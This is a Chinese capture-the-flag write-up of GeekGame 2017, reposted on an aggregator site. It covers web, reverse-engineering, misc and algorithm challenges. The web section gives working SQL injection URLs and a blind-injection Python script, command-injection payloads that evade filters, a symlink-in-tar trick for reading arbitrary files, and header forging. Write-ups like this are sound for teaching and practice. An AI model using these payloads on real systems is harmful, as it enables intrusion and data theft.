第八届GeekGame2017 Writeup By Assassin
来源:互联网 发布:java整型转换成字符串 编辑:程序博客网 时间:2024/06/10 21:18
差点错过这个好玩的比赛
WEB
故道白云
最最基本的注入了吧,首先测试
没有过滤#号,然后大家应该就知道干啥了
http://game.sycsec.com:2006/?submit=submit&id=0'union select 1,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select SCHEMA_NAME,1 from information_schema.SCHEMATA limit 1,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select TABLE_NAME,1 from information_schema.TABLES where TABLE_SCHEMA='f1ag' limit 0,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select COLUMN_NAME,1 from information_schema.COLUMNS where TABLE_NAME='flag' limit 0,1%23http://game.sycsec.com:2006/?submit=submit&id=0'union select f4ag,1 from f1ag.flag%23SYC{HACKEr_By-cL0und}
粗心的李超
说是源码泄露,发现index.php.bak文件得到源码
<?phpinclude "flag.php";if(isset($_POST['user'])&&isset($_POST['pass'])){ if($_POST['user']=='admin'&&$_POST['pass']=='lc19971117'){ setcookie("user","admin"); }}if(isset($_COOKIE['user'])){ if($_COOKIE['user']=="admin"){ echo $flag; }else{ echo "who are u ?"; }}else{ setcookie("user","guest");}?><h1>Please login in</h1><hr><form method=POST action=""> <p>First name: <input type="text" name="user" /></p> <p>Last name: <input type="password" name="pass" /></p> <input type="submit" value="LOGIN" /></form>
SYC{just_brute_is_ok!}
Buy me a Tesla
一看sign参数就有猫腻
发现就是url解密一下然后base64解密三次即可
我们随便构造一下
注意sign要修改
SYC{KeYiGeiWoMaiYiGeZhenDeTeslaMa?}
PHP的悖论1
关键语句
if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2'])) { echo $flag; }
这个很容易就想到是利用md5处理数组的漏洞了吧,构造如下即可
PHP的悖论2
if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) == md5($_POST['s2'])) { echo $flag; }
怎么还变得简单了…
SYC{Y0u_g0th3w4y_to_k111==}
视频播放器
这个还是非常好玩儿的,利用的是一个ffmpeg的漏洞,这个原理有些厉害了,但是利用过程十分简单
http://www.freebuf.com/vuls/138377.html
然后下载源码,生成恶意文件
然后上床恶意文件即可读到flag
SYC{WhatIsExpFuckNoLiaoDe???}
iPhone X
这个题目快坑死我了…搜索一下iphone的UA,然后修改一下如下
得到
OK, you have buy the iphone X using the time machine<br>But I don't think your IP address or resource is valid
加上
x-forwarded-for:127.0.0.1
得到flag
SYC{UA_AND_IP_COULD_BE_FORGED_!!!}
Clound的错误
明显的报错注入了
http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema='f1ag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='flag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,f4ag,0x7e) FROM f1ag.flag LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
SYC{Err0r_sql_inj}
G胖万岁
还是之前做题太少了,还是被卡住了
上来看到url很有特点,猜测是排序问题,sql语句应该是如下·
mysql> select * from flag order by 1 desc;+------+-------+------------------------+| id | user | flag |+------+-------+------------------------+| 3 | fuzz | flag{admin_is_not_me} || 2 | guest | flag{flag_is_not_here} || 1 | admin | flag{flag_is_here} |+------+-------+------------------------+3 rows in set (0.00 sec)
这样的话desc是注入点,再测试一下
所以猜测应该是没什么问题的
这里利用了如下语句
当然我们只要利用构造报错即可,终于找到了注入点
http://game.sycsec.com:2008/Steam/1.php?type=,if(1=0,1,(select 1 union select 2));http://game.sycsec.com:2008/Steam/1.php?type=,if(1=1,1,(select 1 union select 2));
脚本如下
import requests#lens>21000 truetemp = 0def search(s,pos,l,r): if l>r: return global temp mid = (l+r)/2 tempurl= 'http://game.sycsec.com:2008/Steam/1.php?type=,if(ascii(substr(('+s+') from '+str(pos)+' for 1))<='+str(mid)+',1,(select 1 union select 2))' lens = len(requests.get(tempurl).text) if lens<21000: search(s,pos,mid+1,r) else: temp = mid search(s,pos,l,mid-1)def make(): global temp flag="" #key="select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='g4m3e1' limit 0,1 " #key="select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='F1ag_1s_h3re' limit 1,1 " key="select f14g_is from F1ag_1s_h3re limit 0,1 " for i in range(1,50): temp = 0 search(key,i,30,130) if temp !=30 and temp !=130: flag+=chr(temp) print flag else : break print flagmake()#database : exampleDB g4m3e1 mysql performance_schema#table(g4m3e1):F1ag_1s_h3re#columns(F1ag_1s_h3re): id f14g_is#SYC{ShutupandBuy1t}
大大的标题
首先看到了标题是upload是一个文件上传的问题,首先扫描一下目录直接发现存在源码泄露?1.zip文件下载得到源码
一开始最关键的代码在这里
$file_ext = substr( $file_name, strrpos( $uploaded_name, '.' ) + 1);
这个是检测最后一个点的位置,类似于解析漏洞是的,但是怎么也没想到就是单纯的后缀名过滤不全…
我们看着
$allow_ext=array("php","php3","php4","php5","phpt","phtml");
是不是少了什么…比如说.pht
,结果随便一试试就出来了
SYC{CLound-upL0ad}
Clound的错误2
还是很简单的,简单利用一下1的payload,发现过滤了空格,这个随便绕过就行,并且筛选去掉了一些关键字,利用重复写即可绕过直接上payload就行了。之前的and换成||
http://game.sycsec.com:2010/?sycid=1'||(updatexml(1,concat(0x7e,(SELselectECT(f4ag)frfromom(f1ag.flag)),0x7e),1))%23
你的名字
好难的题目…
首先猜到了get一个变量name,发现存在回显
然后就是疯狂的fuzz,通过测试发现,加上%0a在加上命令行可以执行!!!
但是貌似过滤了很多单个字符和词组(如cat等)
没有过滤的符号# , + % . = _ ^ [] \
然后经过查找资料发现bash中可以用\转义命令!!!
类似
ca\t%09index.ph\p
是可以执行的!!!
然后先是获得源码
然后就是大大的坑。。。也是因为自己太菜了payload如下
xxx?name=%0afin\d%09
什么参数都不带,233333
SYC{Wo_ai_he_kou_jue_jiu}
快捷方式的妙用
这个题目我是比较迷糊的,文件通过tar压缩过上传之后会返回内容,这里说是什么快捷方式的妙用,在ubuntu系统中快捷方式就是软链接,ln -s命令可以构造软链接!而我们在本机实验的时候,假如构造一个到/var/www/html/flag.php的软链接,那么我们打开快捷方式的时候就会到/var/www/html/flag.php去。
因为我写了一个flag.php文件,然后ln -s生成了一个软链接打包上传,结果显示了两次内容,猜测upload.php的处理方式是打开压缩包中的文件,并且一一输出出来!然后这样就好办了我们只要构造任意位置的软连接在这里就能阅读源码了
比如
ln -s /var/www/html/upload.php shelltar -zcvf read.zip shell
这样会显示目标机器上的upload.php源代码
阅读代码可以得知flag在/home/flag_is_here_hahaha下面
0)) { die("Upload Failed."); } $name = md5(time()); if (!is_dir('/tmp/'.$name)) { mkdir('/tmp/'.$name, 0700, false); chdir('/tmp/'.$name); if(move_uploaded_file($_FILES["file"]["tmp_name"], '/tmp/'.$name.'/'.$name.'.txt')) { $file = getcwd().'/'.$name.'.txt'; shell_exec('tar -xvf '.$file); if(system('tar -tf '.$file.'|xargs cat')) { shell_exec('rm -rf /tmp/'.$name); } } else { } } else { echo "Upload Failed."; } } // /home/flag_is_here_hahaha ?>
果真全部都cat了一遍,我们只需要再生成一下新的软链接到目标flag位置即可!
ln -s /home/flag_is_here_hahahatar -zcvf read.zip shell
SYC{Bust_1inK!!!}
Reverse
Windwos_1
水题
a=[83,89,67,123,89,111,117,95,71,111,116,95,109,101,95,84,65,84,125]flag =''for i in a: flag+=chr(i)print flagSYC{You_Got_me_TAT}
Windwos_2
怕不是PE文件被XOR过了,我们还是观察一下PE文件结构的特点,明显发现
发现存在很多连续的00位,我们再看一下加密后的程序
貌似是
53 87 f2 a4 e2 b7
为一组进行的抑或加密来着(我们用现在第一个字节和标准PE头抑或得到开头位置),我们尝试破解 脚本如下
#_*_coding:utf-8 _*_a=[]xor = [0x53,0x87,0xf2,0xa4,0xe2,0xb7]if __name__ == '__main__': f=open('CM_2.exe' ,'rb') f.seek(0,0) while True: byte = f.read(1) if byte == '': break else: hexstr = "%s" % byte.encode('hex') decnum = int(hexstr, 16) a.append(decnum) #print byte, hexstr, decnum print len(a) f.close() print 'read finish' outfile = file("out.exe","wb") for i in range(len(a)): outfile.write(chr(a[i]^xor[i%6])) outfile.close()
然后我们得到一个exe,拖到IDA中就发现可以正常的编译了,随便搜索一下字符串发现flag(题目还是简化了,没去具体分析程序流程)
Windwos_3
水题?直接找到什么不得了的东西
直接去访问得到flag
#_*_coding:utf-8 _*_a=[18,19,20,1,15,20,16,11,7,3,1,8,7,2,3,2,0,0,0,0,0,0]sss='O1!l...uo__p5_UOsfseD'+'\x15'+'\x00'*6s=[]for i in sss: s.append(ord(i))print sfor i in range(8): temp = s[a[i+8]] s[a[i+8]]=s[a[i]] s[a[i]]=tempflag =''for i in range(len(s)): flag+=chr(s[i])print flag#SYC{Oops...OD__15_Useful!}
APK_1
直接解密得到关键源码
private String re(String paramString) { paramString = paramString.toCharArray(); char[] arrayOfChar = new char[paramString.length]; int j = 0; int i = paramString.length - 1; while (i >= 0) { arrayOfChar[j] = paramString[i]; j += 1; i -= 1; } return new String(arrayOfChar); } private boolean isPasswordValid(String paramString1, String paramString2) { if (paramString1.length() == 0) { return false; } return ("\n" + paramString1).equals(re(Base64.encodeToString(paramString2.getBytes(), 0))); } private void attemptLogin() { if (this.mAuthTask != null) { return; } this.mUsernameView.setError(null); this.mPasswordView.setError(null); Object localObject = this.mUsernameView.getText().toString(); String str = this.mPasswordView.getText().toString(); AutoCompleteTextView localAutoCompleteTextView; if (TextUtils.isEmpty((CharSequence)localObject)) { this.mUsernameView.setError(getString(2131165223)); localAutoCompleteTextView = this.mUsernameView; } while (!isPasswordValid(str, (String)localObject)) { this.mPasswordView.setError(getString(2131165226)); localObject = this.mPasswordView; return; if (!isUsernameValid((String)localObject)) { this.mUsernameView.setError(getString(2131165225)); localAutoCompleteTextView = this.mUsernameView; } } Toast.makeText(getApplicationContext(), getString(2131165227), 0).show(); }
很简单base64加密颠倒一下就行
SYC{=cTMwIzalV2Rjl3U}
Convolution
这个题目真的是搞哭我了,还是知识点不扎实,醉了…其实关键的在于一个算法
这里建议用c语言复现,我之前用python真是进了大坑,因为c语言的char类型正好和题目对应,这个题目的算法就是一个32长度的数组,从不同的起点经过抑或累加后得到一个长度65的串(具体还是请自己分析,不太好说),
然后我们可以轻松地判断需要34位即可,然后就是写脚本复现了,自动机如下
#include<bits/stdc++.h>using namespace std;char s[33]={0x21,34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 95, 96, 123, 124, 125, 126};char Cmp[81]={0x72,0xE9,0x4D,0xAC,0xC1,0xD0,0x24,0x6B,0xB2,0xF5,0xFD,0x45,0x49,0x94,0xDC,0x10,0x10,0x6B,0xA3,0xFB,0x5C,0x13,0x17,0xE4,0x67,0xFE,0x72,0xA1,0xC7,0x4,0x2B,0xC2,0x9D,0x3F,0xA7,0x6C,0xE7,0xD0,0x90,0x71,0x36,0xB3,0xAB,0x67,0xBF,0x60,0x30,0x3E,0x78,0xCD,0x6D,0x35,0xC8,0x55,0xFF,0xC0,0x95,0x62,0xE6,0xBB,0x57,0x34,0x29,0xE,0x3,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0};char flag[35]={0};int main(){ for(int i=0;i<32;i++){ for(int j=-255;j<=255;j++){ char ans=0; for(int k=0;k<i;k++){ ans+=(flag[k]^s[i-k]); } ans+=(j^s[0]); if(ans==Cmp[i]){ flag[i]=j; break; } } } for(int i=32;i<=33;i++){ for(int j=-255;j<=255;j++){ char ans=0; for(int k=0;k<31;k++){ ans+=(flag[i-31+k]^s[31-k]); } ans+=(j^s[0]); if(ans==Cmp[i]){ flag[i]=j; break; } } } printf("%s\n",flag); return 0;} //SYC{4+mile+b3gin+with+sing1e+step}
太菜了,WA到哭
Linux_1
非常简单的东东,看一下反汇编轻松得到
解得flag如下
SYC{L1nux_1s_51mple}
Transform
Misc
找规律
这个题目还真是奇技淫巧啊,就是通过暴力程序求得多项式的系数,还是没有不成的,只有不敢想的,脚本如下
import requestsvalue = [0, 1, 1, 2, 8, 18, 59, 155, 460, 1276, 3672, 10357, 29533]p = []for a in range(-10,10): for b in range(-10,10): for c in range(-10,10): for d in range(-10,10): for e in range(-10,10): if value[5]==a*value[4]+b*value[3]+c*value[2]+d*value[1]+e*value[0]: flag=1 for i in range(4,len(value)): if value[i]!=a*value[i-1]+b*value[i-2]+c*value[i-3]+d*value[i-4]+e*value[i-5]: flag=0 break if flag==1: p.append(a) p.append(b) p.append(c) p.append(d) p.append(e)for i in range(13,32): value.append(p[0]*value[i-1]+p[1]*value[i-2]+p[2]*value[i-3]+p[3]*value[i-4]+p[4]*value[i-5])print "SYC{"+str(value[30])+"}"#SYC{4274885634120}
拿出荧光棒
这个题目还是需要奇技淫巧,我想这个格式的
一看有个字符串?估计是mp3stego的密钥吧,但是明显就是不告诉你的,轻松可以猜出来第一个一定是Y(脑洞),第二个没法猜测了,怎么办?爆破!
首先生成命令集合
import string s= string.lowercase+string.uppercase+'0123456789'for i in s: print "Decode.exe -X hahahahaha.mp3 -P SYC2"+str(i)+"66"
然后直接复制粘贴到cmd中执行,然后我们审计运算结果,只有SYC2G66
和SYC2966
解密成功,经过尝试SYC2966为最终密钥
SYC{girigiriai~grIgIrIm@i~}
蕉迟但到
通过stego查看未果,然后去变成zip发现了线索
但是misc万事开头都是要binwalk的,发现是7z的压缩文件,所以不能直接爆破…下载软件Passware Kit破解得到密码为FLAG
SYC{X1_ZI_Zh@_LiE}
Docker1
真是很不错!!!之前一直想学一学docker一直没什么机会,现在终于有机会接触一下docker了!这里的第一关真的很简单,首先我们需要下载镜像
docker pull g0doot/docker
然后下载到本地,然后我是这么处理的,没有进行运行什么的,直接将images文件导出查看最新的文件夹中内容,存在flag.txt
SYC{1_1ov3_D0cker_a_loT!!!!}
这个还是非常简单的!
Docker2
这个其实还是很简单,因为现有的文件夹除了root就是var,然后在/var/www/html/中存在.flag.txt(因为第一步的导出文件让一切都无所遁形!emmm)但是还是没有接触到挂起服务就又解决了问题…
SYC{!Th1s_1s_Th3_f1ag_which_1s_hIdd3n}
Docker3
emmm其实有点脱离了Docker本身的考察点吧…结果成了密码的爆破了…emmmm
解压出来是一个ZIP文件,直接写个脚本生成密码字典,然后爆破即可…
SYC{My_B1rthd4y_1s_My_p4ssw0rd___}
Code
可以跑一年
嘿嘿嘿,碰到了ACM的东西啊,矩阵快速幂,果真没有白学,大概意思是这样
|a_n | |1 2 -1| |a_n-1 ||a_n-1| = |1 0 0 |*|a_n-2 ||a_n-2| |0 1 0 | |a_n-3 |
解释代码如下
#include<bits/stdc++.h>using namespace std;typedef struct mx{ long long value[4][4];}mx;long long times=3141592653589793-2;long long mod = 1000000007; mx multi(mx a,mx b){ mx another ; for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ long long temp=0; for(int k=1;k<=3;k++){ temp=(temp+((a.value[i][k]%mod)*(b.value[k][j]%mod))%mod)%mod; } another.value[i][j]=temp; } } return another;}int main(){ mx temp ; for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ temp.value[i][j]=0; } } temp.value[1][1]=1; temp.value[1][2]=2; temp.value[1][3]=-1; temp.value[2][1]=1; temp.value[3][2]=1; mx init; for(int i=1;i<=3;i++){ for(int j=1;j<=3;j++){ init.value[i][j]=0; } init.value[i][i]=1; } int bit[100],pos=1; while(times){ if(times&1){ bit[pos++]=1; } else{ bit[pos++]=0; } times/=2; } for(pos=pos-1;pos>=1;pos--){ init=multi(init,init); if(bit[pos]==1){ init=multi(init,temp); } } cout<<init.value[1][1]<<endl; return 0;}
SYC{101634435}
排列
猛一看还是被吓唬住了…但是仔细一看,不就是字典序嘛!所以这里有15个数,后14数组合数是可以直接推出来的,思路很清楚,就不多写了,直接把我接出答案的脚本给出来吧
#include<bits/stdc++.h>using namespace std;bool checkP(int* p, int n) { static int cnt[20]; memset(cnt, 0, sizeof(cnt)); for(int i=0; i<n; ++i) { cnt[p[i]]++; } for(int i=0; i<20; ++i) { if(cnt[i]>1) return false; } return true;}void print(int *p, int n) { for(int i=0; i<n; ++i) printf("%d", p[i]);}int main() { //int p[20] = {14,1,13,2,12,15,9,8,11,6,5,10,3,7,4}; int pause[20]={14,1,2,3,4,5,6,7,8,9,10,11,12,13,15}; //int p[20] = {11,1,2,3,4,5,6,7,8,9,10,12,13,14,15}; //int p[20] = {10,8,7,1,2,3,4,5,6,9,11,12,13,14,15}; //int p[20] = {10,8,6,14,1,2,3,4,5,7,9,11,12,13,15}; int p[20] = {10,8,6,13,2,1,3,4,5,7,9,11,12,14,15}; int n=15; //long long m=307674368000ll; long long m=302369153413ll-87178291200ll*3; //40834279813 m=m-6227020800ll*6; m=m-479001600ll*7; m=m-39916800ll*2; m=m-3628800ll*10; if(checkP(p, n)==false) puts("not a permutation"); while(m--) { prev_permutation(p, p+n); if(memcmp(p,pause,sizeof(p))==0){ cout<<m<<endl; } //302369153413 } printf("SYC{"); print(p, n); puts("}"); return 0;}//SYC{108613131227915514114}
还是卡了一段时间,有点老了。注意里面减数的时候要加上ll改变成long long类型,负责c++编译器默认成了int型,会变成超大的数字。
- 第八届GeekGame2017 Writeup By Assassin
- Wechall writeup By Assassin
- Webhacking writeup By Assassin [随便玩一玩]
- CTF-练习平台 Web writeup By Assassin [暂时完结]
- i春秋-2016-2017年信息安全竞赛 Web writeup 补题 By Assassin
- HDU2955 Robberies by Assassin
- Codeforce718A By Assassin
- 蓝桥杯 带分数 By Assassin
- SniperOJ Web by Assassin
- 第三届上海大学生网络安全大赛小部分题解 By Assassin
- HDU 2955 Robberies by Assassin
- HDU 2571 命运 by Assassin
- HDU 2159 FATE by Assassin
- POJ Anniversary party By Assassin
- Codeforces 725C By Assassin
- Codeforces 725D By Assassin
- Codeforces 730G By Assassin
- Codeforces 731F By Assassin
- uva 1394
- 1701H2 王建瑜 连续第十一天
- pyCharm License server 激活
- Unix-Linux编程实践教程——第八章
- 基于DPDK的MellanoxCX-4网卡性能测试
- 第八届GeekGame2017 Writeup By Assassin
- mybatis02-配置文件
- Android 面试大全
- C++创建输出文件与相对绝对位置
- JAVA通过访问页面中的URL实现Http文件下载到本地
- Ubuntu16.04 安装pycharm (tar.gz格式)
- jquery一周学习总结
- Jsch性能问题
- NFS作为根文件系统启动的几个关键点